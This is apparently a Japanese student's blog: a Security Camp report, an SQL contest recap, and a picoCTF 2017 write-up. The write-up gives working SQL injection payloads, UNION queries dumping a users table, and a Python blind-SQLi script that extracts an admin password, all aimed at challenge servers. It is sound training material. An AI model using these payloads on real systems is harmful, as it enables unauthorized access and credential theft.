ふるつき

v(*'='*)v かに

セキュリティキャンプ全国大会

セキュリティキャンプ全国大会に参加した

ptr-yudaiのブログもあわせてどうぞ

ydfj.blogspot.jp

セキュリティキャンプ1日目

開会です。いろんな説明を受けた後、「セキュリティ基礎」がありました。

セキュリティ基礎では、今後セキュリティ業界でどんな仕事がAIに取って代わられるだろうということをグループディスカッションしました。

その後、今度は特別講義として、2つの講義がありました。一つはJPCERTの人の話で、その人がどんな仕事をしているかという話なのですが、なんでこんなにおもしろい話ができるんだというほど面白く話をしてくれました。特に森見登美彦太陽の塔を引用したところは最高でした(これは本質じゃないけど)。

続いて、チュータの人の紹介を兼ねた発表がありました。すごかった。

そこまでして、夕飯を食べ、それからグループワークでした。グループワークでは、数日かけて、8人程度で、何か問題を解決する姿勢を見せていこうというようなものです。いろんな人に話を聞き、どんなことを自分たちがすればいいのかを考えて、最終日に発表することになります。

Day2

Day2では、Dの解析トラック(カーネルのエクスプロイトまわり)の授業を受講しました。講師は、がちゃぴん先生とかるくす先生です。D1ががちゃぴん先生のカーネルエクスプロイト入門編で、D2,3がるくす先生による実践編のような位置づけでした。

D1では、まずカーネルソースの大雑把な構造から始まりました。大体この話だけで学校のオペレーティングシステムの授業を越えて行きました。

それから、カーネル周りの知識として、カーネルのダンプ(メモリ全部のダンプ)の解析(あるプロセスが脆弱性を突かれてメモリをアホほど食べているのでそれを突き止める。フォレンジックっぽい)をやったり(できなかった)、Dirty COWについて簡単な仕組みとPOCを渡されてこれをもうちょい実用的にしてくれといわれたりしました(できなかった)。あとあと、セキュリティキャンプの応募課題(るくす氏が出してた)のフォローアップがありました。私はこの課題は挑戦しかけて諦めたのでなにもわからなかった。

というわからないづくしの時間をすごしました。でも絶対無駄じゃないし、丁寧に資料が作られていたのでまた読み返してきっちり倒します。

お昼を挟んで、こんどはるくす先生のD2,3でした。これは究極的にはBadIRETで権限昇格をしようというものなのですが(さらに言えばWebKitの任意コード実行から権限昇格したい)、まず前座としてBadIRETの原理でカーネルを落とそうということをやりました。落とすだけならもうコードをるくす先生が書いていたのですが、これにちょっとだけ細工をして、レジスタをいじってから落とすとかしました。運が良いと結果が出るらしいですが、徳を積みすぎてほぼ毎回でました。

こんどはブラウザほうからアプローチして、(これも任意コード実行のところはるくす先生が書いてくれていたので、)試しに fd = open("/dev", 0); getdents(fd, buf, 4096); write(1, buf, 4096) するシェルコ―ドを書いて動かそうという演習がありました。これがいろいろはまりどころがあって、なかなか進まず、なんとかこれができたくらいで夕食になりました。

夕食は同じ講義の人とたべて、ちょっと仲良くなりました。

夕食後も同じことをやって、更に進んで、BadIRETでの権限昇格コードを書き始めようというところまで来ました。しかしこれがとてもむずかしく、原理が理解できず、コードもまたかけない。悩みに悩んでタイムアップでした。悔しい。

21時から22時までは、(権限昇格が難しすぎたので急遽)カーネル脆弱性の緩和策などのサーベイになりました。

これでやっと講義がおわり、昨日が終わったというわけです。本当に疲れていて、疲れ of 疲れという感じでした。

Day3

今日は2つの講義と、2つのBoFと企業講演とグループワークがありました。

午前の講義では、Dトラックの、「マルウェア x 機械学習」を受けました。

講義としては、機械学習の簡単な説明から始まり、じゃあ機械学習マルウェア検知するならどうやってやる? みたいな話をグループでしました。ありきたりな選択肢しか出ませんでしたがまあそれは良いです。講師の人からは、バイナリのタイムスタンプがわりと効果的という話をききました。

ここまでやって、続いてデータセット(トレーニング用マルウェア・正常プログラム1000件ずつ、評価用マルウェア・正常プログラム500件ずつ)と、簡単なランダムフォレストの実装、バイナリファイルからの特徴量の抽出サンプル(ひどい特徴の選び方をしているやつ。出力フォーマットのサンプルというわけ)が渡されまして、これを改善していく(特徴の選び方を変えていく)という演習をやりました。

最初はAccurancyが5割とか(五割くらい検知するし、五割くらい誤検知する感じ)だったわけですが、試行錯誤で、87%程度まで上がりました(7割くらい検知するし、1割くらい誤検知する感じだったと思う)。特徴としては{タイムスタンプ、バイナリサイズ、DLLのリンク量、DLLから読んでる関数の数、シンボル数}くらいを採用しました。9割行かなくて残念でしたが、同じ講義を受けていた人の中では一番いい値が出たようです。

そこまでで時間いっぱいでした。続いてお昼ですが、一人で黙々と食べました。おわり。

午後の講義は「信じて送り出した家庭用ルータがNetBSDにドハマリしてloginプロンプトを返してくるようになるわけがない」でした。この講義では結局VirtualBoxNetBSDを入れて、そこでラズベリーパイ用のNetBSDをビルドしました。そしてそれをラズパイに書き込んで起動ヤッターという感じです。それだけしかしていなくて、あとはこぼれ話がいろいろという感じだたのですが、私はラズベリーパイ用のイメージのクロスコンパイルで失敗しまくってうえええって言っていました。これの原因はメモリが足りないというものだったのですが、1Gじゃあ足りないんですね……。

はい、そのあと夕食ですが、割と席指定の夕食で、同じ講義を受けていた ukn さんと、昨日お世話になったるくす先生、コアキャンプに来ていた hama さんと食べました。私は静かに座っているかかりをしていました。

夕食後はBoFと企業講演でした。BoFはあんまり書くことないと思うんですが、二個目の講義がものすごくためになるというか、セキュリティとはみたいな本質情報を突いてくれるもので、今年のキャンプで一番忘れられない話になりそうでした。

その後はグループワークでした。グループワークのメンバリーダが結構苦手のようです。考え方が合わないつらい。

Day4

午前では、はじめはブラウザ上のスマホゲーっぽいのをチートしてたのですが解けなかった(あると思ってたサーバ側の処理がなかったらしくてめっちゃ簡単だった)。

続いてはAndroidエミュレータ立ち上げて、講師の人が2週間くらいで作ったと言ってたゲームのチートをやりました(ゲームとしての完成度が高くてすごかった)。メモリ書き換えとかファイル書き換えとか通信書き換えをやっていろいろチートしました。ファイル書き換えはやったことなかったので憶えました。あと、通信がxor -> base64 で難読化されてたんですが、 xor に気がつけずちょっと悔しかったです。

この講義ではどうやってチートするのかということと合わせて、開発者側の視点での話も聞けたので大変良かったです。

午後はまた別のゲームチートで、開幕即演習というか演習しかなく、ひたすら手を動かしていました。UnityゲームのC#なdllをいじるのは一瞬だったんですが、apkの.soを解析して……となるとなかなか厳しく、有意義でつらい時間を過ごしました。

企業講演でサイボウズさんのお話を聞き、そしてグループワークでした。

グループワークのやばいところは個人的にリーダへのヘイトが溜まっていくところです。ずっと相容れなさを感じてる。

キャンプ恒例のプレゼントがありました。翌日時間がなさそうだったからこの日にあったんですかね。

Day5

講義が終わったという安堵と、前日の晩に資料作成のうち私のやるべきところは終わっていた(たたき台ばかりつくってた)のでほとんど死んでました。

グループワーク発表は面白いところとか上手なところとかそうでないところとかありましたが、去年の程の面白さが合ったのかどうかは微妙じゃないかなと思っています。うちのチームもそれなりの発表をしました。

それでお昼を食べ、午後は成果発表でした。まずは集中コースでptr-yudaiの発表とか、その他すごい発表を聞いていました。

名残惜しいですがこれでだいたい全過程が終了となりまして、あとは挨拶などを聞き、写真撮影などし、解散でした。

終わった後ご飯でもという感じだったのですが、きっと都心方面だろうとたかをくくって先に歩を進めていたら逆で、結局参加できずまっすぐホテルに来ました。


キャンプでは毎日、健康調査票というのを提出していて、これは各食事ちゃんと摂ったかとか寝れてるかとかを丸とか三角とかで書くわけですが、そこに記述欄がありました。それで

というわけです。上述した**さんがこのお返事を書いてくれたひとで、かなり嬉しかったので、**さんには悪いなと思いつつ、ちょっとどんな内容だったかを書いていきます。

Day 2

ふるつき「体がひえる」

**さん「上着で***てください。必要であればブランケットの貸出もあるので言ってください(空調の調節等何かあればスタッフに言ってください」


Day 3

ふるつき「疲れてる」

**さん「お疲れ様です。なかなか難しいと思いますが休めるときは早めに休んでください。何かあれば連絡を……」


Day 4

ふるつき「いきてます」

**さん「良かったです!!!! コメントありがとう。体調について分かりやすかったです。今日までお疲れ様でした、ラスト一日も頑張って、そして***ください」

記述欄は書いていきましょうという話。

--

ptr-yudaiがキャンプ中に私のツイッターを監視していたりしたらしいのですが、その画面を見た誰か(数人いるっぽい)が「ふるつきさんですか!?」と尋ねる事案が発生していたっぽいです。一体誰なんだ。

Joken SQL Challenge #1 を開催しました。

 過去、 Joken Marathon Challenge を開催して大失敗したことがありましたが、めげずに、今度は Joken SQL Challenge を開催しました。

スコアサーバや問題に関するリポジトリ(使用したデータはMastodonから実在のものをスクレイピングしたため、公開していません):

github.com

Joken SQL Challenge とはなにか

Joken とは私が所属している情報処理研究会の通称であり、 SQL Challenge はその名の示す通り、SQLに関するコンテストです。今回は、 PostgreSQL 上での SELECT 文の技術を競うコンテストにしました。様々なデータをSELECT文一つで取得するというわけです。

 問題はたとえば、こんな感じで出題されます。これは実際に出題された問題のひとつで、難易度でいえば難問の部類に入ります。

f:id:Furutsuki:20170429133027p:plain

これにたいして、ユーザは次のようなクエリを実行することでこの問題の指示を満たし、問題を解こうとします(図は不正解になるけど)。

f:id:Furutsuki:20170429133258p:plain

 このように、全部で16問が配点とともに用意されており、もっとも点数を稼いだユーザが優勝になります。競技時間はおよそ1時間45分となりました

競技の結果

 はじめに 30 分ほど SQL とは、データベースとは、SQLの文法についてなどを喋ったあとに競技をやってもらいました。

すると、こんな結果になりました。 theoldmoon0602 は私のダミーアカウントなので、全部で 7名の参加ですね。

f:id:Furutsuki:20170429133723p:plain

 1位が 1000 点を取れたら上々かな、と思っていたのですが、思いのほか優秀な成績を残して楽しんでもらえていたようなので、こちらは成功といえる結果だったと思っています。

 一方で、実際にやってもらうと、作問ミスがあったり、UIのわかりづらさがあったりと運営側の甘さもわかりました。

開催してみてどうだったか

 楽しかったです。企画しだしたのは 4/8 頃のようで、ptr-yudaiに「こんなのやりたいけどどうだろう?」とお尋ねしていました。今回はptr-yudaiは不参加で、オブザーバのような役割を果たしてもらったのですがこれも正解だったと思います。

 

picoctf 2017 writeup

一週間か二週間くらいの期間で、 picoctf という ctf がありました。私は zeropts というチームで参加して 2305 / 6575 pts で 397 位でした。スコアボードが見やすくなくて、なんチームくらい参加してたのかわからないですが。

 最初はひとりで参加してましたが、途中で tsun くんと一緒になってやりました。 pwn 系は全部放り投げました。私が解いた問題について write up 書きます。

Level 1

Internet Kitties [Misc 10]

↓でふらぐがもらえる問題です。

[root ~] # nc shell2017.picoctf.com 24369
Yay! You made it!
Take a flag!
8eb2c54a37f4f6b7233b00c4800d0075

What Is Web [Web 20]

適当な HTML ページに飛ばされて、ソースコードをみると

<!-- Cool! Look at me! This is an HTML file. It describes what each page contains in a format your browser can understand. -->
<!-- The first part of the flag (there are 3 parts) is 8d96c7d8966 -->
<!-- What other types of files are there in a webpage? -->

とありました。 css と js へのリンクがあったのでそっちも覗くと

/*
This is the css file. It contains information on how to graphically display
the page. It is in a seperate file so that multiple pages can all use the same 
one. This allows them all to be updated by changing just this one.
The second part of the flag is 8106eabacc0 
*/
/* This is a javascript file. It contains code that runs locally in your
 * browser, although it has spread to a large number of other uses.
 *
 * The final part of the flag is 3b680682297
 */

がありフラグとなりました。

looooong [Misc 20]

nc すると

[root ~] # nc shell2017.picoctf.com 51091
To prove your skills, you must pass this test.
Please give me the 'E' character '728' times, followed by a single '2'.
To make things interesting, you have 30 seconds

という表示になりました。30秒もまってくれるらしいので、悠々と python を立ち上げてお望みの入力を生成して貼り付けました。

You got it! You're super quick!
Flag: with_some_recognition_and_training_delusions_become_glimpses_cf0c40cbcc7efbd5121222729fff9263

WorldChat [Misc 30]

nc するとあほほどテキストが流れてきました。チャットサービスのまねをしているらしいです。 flag という文字が見えたので C-c すると、 flagperson という人物が flag の一部を喋ってくれていたので、 grep して適当なタイミングで C-c しました。

>|[root ~] # nc shell2017.picoctf.com 5026 | grep "flagperson"|
17:03:09 flagperson: this is part 1/8 of the flag - 2e5c
17:03:10 flagperson: this is part 2/8 of the flag - 3014
17:03:13 flagperson: this is part 3/8 of the flag - a9c5
17:03:19 flagperson: this is part 4/8 of the flag - ff31
17:03:23 flagperson: this is part 5/8 of the flag - 5a5c
17:03:24 flagperson: this is part 6/8 of the flag - b6db
17:03:26 flagperson: this is part 7/8 of the flag - 97bc
17:03:26 flagperson: this is part 8/8 of the flag - addf
17:03:26 flagperson: this is part 1/8 of the flag - 2e5c
17:03:31 flagperson: this is part 2/8 of the flag - 3014
^C
|

2e5c3014a9c5ff315a5cb6db97bcaddf2e5c3014

Digital Camouflage [Forensic 50]

pcap が与えられました。どんな データだたか忘れてしまいましたが、いくつかの http 通信があったとおもいます。そのなかで なにかしらの認証に成功しているストリームを見つけ出してきて、パスワードの base64 を decode してやるとそれがフラグでした。

R6AKNhWwo7

Special Agent User [Forensic 50]

同様に pcap が与えられました。いくつかの http 通信があり、問題文では「ブラウザの種類が大事やねん。それがフラグや」というかんじのことを言っていたので、とりあえずユーザエージェントとして投げられているブラウザ名を片端から submit しました。 Chrome 34.0.1847.137 でした。

Substitute [Crypto 40]

MIT YSAU OL OYGFSBDGRTKFEKBHMGCALSOQTMIOL. UTFTKAMTR ZB DAKQGX EIAOF GY MIT COQOHTROA HAUT GF EASXOF AFR IGZZTL. ZT CTKT SGFU, MIT YSACL GF A 2005 HKTLTF...

のような長い文字列が与えられました。 http://quipqiup.com/ におまかせしました。

THE FLAG IS IFONLYMODERNCRYPTOWASLIKETHIS. GENERATED BY MARKO? CHAIN OF THE WIKIPEDIA PAGE ON CAL?IN AND HOBBES. BE WERE LONG, THE FLAWS ON A 2005 PRESENT TIMES THAN ...

Hash101 [Crypto 50]

nc すると 「101000100 になる ASCII 文字列は?」とか、 mod 16 をとって 2になる文字列は?  とかあわせて 4問くらい聞かれたので python で愚直に変換してやった結果を投げたら

Correct! Completed level 4
You completed all 4 levels! Here is your prize: c3ee093f26ba147ccc451fd13c91ffce

keyz [Crypto 20]

なんか 問題ページに terminal ぽいのがあったんですが不調だったので飛ばしてたらこれとかないと先に進めなくなったのでリロードチャレンジをして使えるようになったタイミングで webshellにログインしました。 ssh キーを登録しなさいとのことだったので 適当に生成した公開鍵を投げました。

Leaf of the Tree [Misc 20]

ここからは ssh 接続しての問題でした。

/problems/a45d1519bd193bc3a273744c83fad1e2 以下に何かファイルがあるよと言われたので、 ls -R しました。するといろいろ長い名前のディレクトリとかファイルが出てきましたが、そのなかに flag という名前のファイルがあったので cat しました。

theoldmoon0602@shell-web:/problems/a45d1519bd193bc3a273744c83fad1e2$ cat ./trunk/trunk9ef5/trunkded5/trunk3f6a/trunk6034/trunk41fe/trunkb847/trunk7d34/flag 
1510e551a2821bd027da10a7653814c8

Leaf of the Forest [Misc 30]

さっきとおんなじ系統の問題だけどさらにファイルが多いぞって言われたので、 find . -name "flag" しました。

6c0d4a69fdff4ea12609fd1989749dd5

Hex2Raw [Rev 20]

hex2raw すると Give me this in raw form (0x41 -> 'A'): 1a558acddabd64bbccdd94903eafdf18 とのことなので、 python で変換して printf '\x1aU\x8a\xcd\xda\xbdd\xbb\xcc\xdd\x94\x90>\xaf\xdf\x18' | ./hex2raw としました。

You gave me:
1a558acddabd64bbccdd94903eafdf18
Yay! That's what I wanted! Here be the flag:
ceb80093717fd7e9aae149dacc7ac9b3

Raw2Hex [Rev 20]

フラグを吐いてくれるバイナリがあったんですがそれのhex表現がフラグだっていわれました。 hexdump に繋いでたんですが見辛いのでぐぐるxxd -p が使えることを知りました。

theoldmoon0602@shell-web:/problems/87c7dd790daa359b529f1a24e9f8763f$ ./raw2hex 
The flag is:���7�JM�^��B�
theoldmoon0602@shell-web:/problems/87c7dd790daa359b529f1a24e9f8763f$ ./raw2hex | xxd -p
54686520666c61672069733af4f47fac37994a4dbe5e15b9c342891b

最後の出力から The flag is: の部分を取り除いたものがフラグでした。

computeAES [Crypto 50]

Encrypted with AES in ECB mode. All values base64 encoded ciphertext = rvn6zLZS4arY+yWNwZ5YlbLAv/gjwM7gZJnqyQjhRZVCC5jxaBvfkRapPBoyxu4e key = /7uAbKC7hfINLcSZE+Y9AA==

という問題でした。暗号文と鍵が与えられてるのでやるだけです。

>>> from Crypto.Cipher import AES
>>> aes = AES.new('/7uAbKC7hfINLcSZE+Y9AA=='.decode('base64'), AES.MODE_ECB)
>>> aes.decrypt('rvn6zLZS4arY+yWNwZ5YlbLAv/gjwM7gZJnqyQjhRZVCC5jxaBvfkRapPBoyxu4e'.decode('base64'))
'flag{do_not_let_machines_win_82e02651}__________'

computeRSA [Crypto 50]

encrypted number 150815, d = 1941, and N = 435979, what is the decrypted number?

なので、

>>> pow(150815, 1941, 435979)
133337

です。

Bash Loop [PWN 40]

フラグを吐いてくれるバイナリがいましたが、引数に1から4096の間の数値を与えて、それがあっていたらフラグを吐いてくれるとのことでした。まちがっていたら Nope といわれるのでそれ以外を grep しました。

for i in `seq 4096`; do ./bashloop $i >> ~/hg; done;

theoldmoon0602@shell-web:~$ grep -v Nope hg
Yay! That's the number! Here be the flag: 5cabdea71dd5f428c8e080db5010a7d6

Just No [Pwn 40]

theoldmoon0602@shell-web:/problems/ec9da1496f80c8248197ba564097cebb$ cat justno.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){ 
  FILE* authf = fopen("../../problems/ec9da1496f80c8248197ba564097cebb/auth","r"); //access auth file in ../../../problems/ec9da1496f80c8248197ba564097cebb
  if(authf == NULL){
    printf("could not find auth file in ../../problems/ec9da1496f80c8248197ba564097cebb/\n");
    return 0;
  }
  char auth[8];
  fgets(auth,8,authf);
  fclose(authf);
  if(strcmp(auth,"no")!=0){
    FILE* flagf;
    flagf = fopen("/problems/ec9da1496f80c8248197ba564097cebb/flag","r");
    char flag[64];
    fgets(flag,64,flagf);
    printf("Oh. Well the auth file doesn't say no anymore so... Here's the flag: %s",flag);
    fclose(flagf);
  }else{
    printf("auth file says no. So no. Just... no.\n");
  }
  return 0;
}

こういうソースコードのバイナリがありました。 それっぽいファイルには no と書いてあって、上書きはできませんでした。悩んでたんですがシンボリックリンクを貼るとうまくいきました。

Oh. Well the auth file doesn't say no anymore so... Here's the flag: e4cec8fdf76a931b03ad7ef026103d43

Lazy Dev [MASTER 50]

MASTER 問題を解くと次のレベルにいけます。

こんな感じの js が埋め込まれたログインサイトがありました。

//Validate the password. TBD!
function validate(pword){
  //TODO: Implement me
  return false;
}

//Make an ajax request to the server
function make_ajax_req(input){
  var text_response;
  var http_req = new XMLHttpRequest();
  var params = "pword_valid=" + input.toString();
  http_req.open("POST", "login", true);
  http_req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http_req.onreadystatechange = function() {//Call a function when the state changes.
    if(http_req.readyState == 4 && http_req.status == 200) {
      document.getElementById("res").innerHTML = http_req.responseText;
    }
  }
  http_req.send(params);
}

//Called when the user submits the password
function process_password(){
  var pword = document.getElementById("password").value;
  var res = validate(pword);
  var server_res = make_ajax_req(res);
}

ログインボタンを押すと validate がよばれるけど実装されてないからログインできないらしいです。 ブラウザのコンソールを開いて make_ajax_req(true); としたところ

client_side_is_the_dark_sidebde1f567656f8c9b654a1ec24e1ff889 が得られました。

Level 2

Yarn [Misc 55]

バイナリが与えられて悩んでたんですが strings -n3 するだけでした。 yarn って string と同義でいいんですかね。

Sub
mit
_me
_fo
r_I
_am
_th
e_f
lag

My First SQL [Web 50]

ログインぺーじがありました。admin'OR'a'='a で通りました。 be_careful_what_you_let_people_ask_1b3db77df6b116a38db8ceb7c81cb14c

Mystery Box [Misc 60]

エニグマの写真と状態が与えられたので http://enigma.louisedade.co.uk/enigma.html になげました。 QUIT EPUZZL INGIND EED

SoRandom [Crypto 75]

 flag = "FLAG:"+open("flag", "r").read()[:-1]
 encflag = ""
 random.seed("random")
 for c in flag:
   if c.islower():
     #rotate number around alphabet a random amount
     encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a'))
   elif c.isupper():
     encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A'))
   elif c.isdigit():
     encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0'))
   else:
     encflag += c
 print "Unguessably Randomized Flag: "+encflag

# Unguessably Randomized Flag: BNZQ:4pg33e44sdu4wu8198y15q685vpx8041

というファイルが与えられました。脳死で適当にデコードを書いたらうまくいきました。

def dec(flag):
    random.seed("random")
    encflag=""
    for c in flag:
        if c.islower():
            #rotate number around alphabet a random amount
            encflag += chr((ord(c)-ord('a')-random.randrange(0,26))%26 + ord('a'))
        elif c.isupper():
            encflag += chr((ord(c)-ord('A')-random.randrange(0,26))%26 + ord('A'))
        elif c.isdigit():
            encflag += chr((ord(c)-ord('0')-random.randrange(0,10))%10 + ord('0'))
        else:
            encflag += c
    print(encflag)

dec("BNZQ:4pg33e44sdu4wu8198y15q685vpx8041")

FLAG:1eb52f21eba0ec8921b41a030afd5931

Meta Find Me [For 70]

jpeg 画像が与えれました。 strings すると Your flag is flag_2_meta_4_me_<lat>_<lon>_f8ad. Now find the GPS coordinates of this image! (Degrees only please) が出てきました。

exif をみて値をはめました。

flag_2_meta_4_me_91_124_f8ad

Just Keyp Trying [For 80]

usb のパケットが与えられて「はーつらい」って言ってました。このあたりをいい感じに解けるライブラリってないですか。

tshark で値が変わっているところだけ切り出しました。 tshark -r data.pcap -Tfields -e usb.capdata > usb.data

それを python でえいってしました。

>>> f = file("usb.data").read().splitlines()
>>> ks = []
>>> for l in f:
...     ls = l.split(':')
...     if ls[2] == '00': continue
...     if ls[0] != '00': ks.append(ls[0])
...     ks.append(ls[2])
... 
>>> ks
['09', '0f', '04', '0a', '20', '2f', '13', '15', '20', '22', '22', '20', '2d', '27', '11', '1a', '04', '15', '07', '16', '20', '2d', '04', '21', '1f', '23', '20', '09', '27', '24', '20', '30', '01', '06']
>>> flag{pr355_0nwards_a4263F07}

デコードは http://www.usb.org/developers/hidpage/Hut1_12v2.pdf の p53 をみながら手でやりました。いい感じのライブラリないですか。 20 が shift キーだったり違ったりしてややこしかったので失敗

LeakedHashes [Crypto 90]

ユーザ名と md5 のリストが与えられました。 john とかしてたけどアホで、 普通に md5 の cracker に投げたらデコードできました。nc 先に適当なユーザのパスワードを投げると

     /\__/\ 
    /`    '\ 
  === 0  0 ===
    \  --  /    - flag is ac09afa2fcc825a31b9a46bab6223dd3

   /        \ 
  /          \ 
 |            |
  \  ||  ||  /
   \_oo__oo_/#######o

でした。

TW_GR_E1_ART [WEB 100]

ぼくの知ってる範囲で言うと、ポケモン不思議のダンジョンみたいなゲームでした。最下層にいくとフラグっぽいアイテムが大量に落ちていてどれか一つが本物だけどはずれを引くと全部やりなおしでめっちゃ面倒な感じでした。

node製っぽくて package.json が見えたので辿っていくと ソースコードが見えて、呼んでいくと当たりフラグの座標がわかったのでそれを拾って使いました。

Toaster used the Flag!
A soft voice on the wind speaks to you: "The secret you are looking for is at_least_the_world_wasnt_destroyed_by_a_meteor_ebb38a54b1bbe2d3fafb0460af19ea14. Use it wisely."
All items were destroyed!

Missing Identity [何か 100]

何かしらのファイルが与えられて、中身は png っぽいんだけどちゃんと見れないみたいな感じだったと思います。先頭が XXXXX になっていて、これを png のフォーマットになおしてやったらフラグが見える感じでした。これにめっちゃ悩まされて阿呆っぽい。

Level 3

Level 2の他の問題は tsun くんがときました。

Biscuit [Web 75]

なにかのページにやってきました。ソースコードをみると

<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->
<style>
body{
    background-image: url("private/image.png");
}
</style>

とあって、 private/cookies.sqlite にアクセスすると落ちてきました。これは firefox のクッキーを保存してる db っぽくて、1行しかなかったのでそのクッキーを装備してもう一度サイトにアクセスするとフラグをもらえました。

e5cd648b3f7e254fa0c384e6757233f7

A Happy Union [Web 110]

全然わからなかったんですが、ユーザ名の登録のときだけ sqli っぽいのができて、それがユーザ個人ページでのクエリを侵食できるということを tsun くんが見つけてくれたのでやるだけしてました。

' union select name,2,3 from sqlite_master -- というユーザを作って posts、 sqlite_sequence、 users というテーブルが有ることをつきとめ、 'union select sql, 2, 3 from sqlite_master-- というユーザを作って、 各テーブルのカラム名も取得しました。 あとは 'union select user, pass, 3 from users-- すると、 admin flag{union?_why_not_onion_b6e6a3cd8e3f1fe5f6109d1618bddbd1} でした。

No Eyes [Web 125]

これもログインページでした。 admin のパスワードを突き止めろ、と言われていました。 とりあえず パスワードに a' OR 'a'='a を入れましたが全然だめっぽくて、ユーザ名に入れてみたら Login Functionality Not Complete. Flag is 63 characters といわれのでなるほどねと思いました。 ブラインド sqli かなと思ったんですが面倒でやりたくなかったのでいろいろ頑張ったんですがだめだめぽくて、結局すくりぷとをかいて blind sqli しました。

import requests
import time
import string


target = 'http://shell2017.picoctf.com:33838/'

cur="not_all_errors_should_be_shown_"
for i in range(len(cur), 64):
    for c in "_{}-0987654321"+string.ascii_letters:
        r = requests.post(target, data={
            'username': "admin' and length(pass)=63 and substr(pass, 1, {})='{}".format(i+1, cur+c),
            'password': "'OR'a'='a"
            })
        res = [t for t in r.text.splitlines() if "strong" in t][0].strip()
        print("try={}, res={}".format(cur+c, res))
        if "Found" not in res:
            cur +=c 
            print("Hit!: {}".format(cur))
            break
        
        time.sleep(0.05)

途中まで like 句でマッチを探していて _ が任意の一文字にマッチしてしまったので cur にその時点までのパスワードをいれてまつ。

not_all_errors_should_be_shown_07fa15beae68af0694171000114ec419



というわけで私は全部で 1600 pts をいれました。 tsun くんは途中からはいったので得点の配分としてはこんなものかなと思います。picoctf は初心者向けと聞いていたのですが Level2 でも全完はできていなくて(なんかなぞの bmp バス問題解けなかったしRSA破るみたいなやつも放棄しちゃった)しっかり初心者していきたいなと思いました。結局といたことがあるような自明問題ばかりをやっていたので初めて出会う問題とも戦っていきたいきもちを強くしました。

おわり。